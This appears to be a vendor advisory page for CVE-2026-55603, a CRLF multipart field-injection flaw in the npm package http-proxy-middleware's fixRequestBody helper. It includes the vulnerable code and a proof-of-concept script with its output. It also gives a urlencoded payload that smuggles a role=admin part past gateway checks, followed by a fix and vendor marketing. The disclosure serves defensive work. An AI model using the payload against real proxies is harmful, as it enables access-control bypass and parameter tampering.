CVE-2026-55603

CVE-2026-55603 is a high-severity security vulnerability in http-proxy-middleware (npm), affecting versions >= 3.0.4, < 3.0.7. It is fixed in 3.0.7, 4.1.1.

Summary

fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:

// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
  }
}

A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.

By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.

Preconditions

All three must hold; this narrows real-world exposure and is the basis for AC:H:

  1. The proxy app populates req.body with a non-multipart parser (express.urlencoded, express.json, or text) so an injected boundary in a value is not split on input.
  2. The proxied (outgoing) request is sent as multipart/form-data (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.
  3. The app calls fixRequestBody (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.

Note: a pure multipart-in → multipart-out flow (e.g. multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, so req.body and the backend agree. The desync specifically requires a non-multipart input parser.

Proof of Concept

// npm i [email protected]   (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';

// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
  user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};

// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
  h: { 'content-type': 'multipart/form-data; boundary=BB' },
  getHeader(n){ return this.h[n.toLowerCase()]; },
  setHeader(n,v){ this.h[n.toLowerCase()] = v; },
  write(d){ out.push(Buffer.from(d)); },
};

fixRequestBody(proxyReq, req);          // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());

Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:

--BB
Content-Disposition: form-data; name="user"

alice
--BB
Content-Disposition: form-data; name="role"     <-- injected part; never present in req.body's keys
admin
--BB--

req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--

Impact

When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:

  • Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids role=admin is bypassed; backend grants admin).
  • Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices).
  • File-part injection inject a filename="..." part into the upstream multipart stream.

CVE-2026-55603 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.0.7, 4.1.1); upgrading removes the vulnerable code path.

Affected versions

http-proxy-middleware (>= 3.0.4, < 3.0.7) http-proxy-middleware (>= 4.0.0, < 4.1.1)

Security releases

http-proxy-middleware → 3.0.7 (npm) http-proxy-middleware → 4.1.1 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:

function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  const bad = /[\r\n]/;
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    const v = String(value);
    if (bad.test(key) || bad.test(v)) {
      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
    }
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
  }
}

(Reject is preferable to silent stripping, to avoid masking malicious input.)

Frequently Asked Questions

  1. What is CVE-2026-55603? CVE-2026-55603 is a high-severity security vulnerability in http-proxy-middleware (npm), affecting versions >= 3.0.4, < 3.0.7. It is fixed in 3.0.7, 4.1.1.
  2. How severe is CVE-2026-55603? CVE-2026-55603 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of http-proxy-middleware are affected by CVE-2026-55603? http-proxy-middleware (npm) versions >= 3.0.4, < 3.0.7 is affected.
  4. Is there a fix for CVE-2026-55603? Yes. CVE-2026-55603 is fixed in 3.0.7, 4.1.1. Upgrade to this version or later.
  5. Is CVE-2026-55603 exploitable, and should I be worried? Whether CVE-2026-55603 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-55603 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-55603?
    • Upgrade http-proxy-middleware to 3.0.7 or later
    • Upgrade http-proxy-middleware to 4.1.1 or later

Other vulnerabilities in http-proxy-middleware

CVE-2026-55603CVE-2026-55602CVE-2025-32996CVE-2024-21536

Stop the waste.
Protect your environment with Kodem.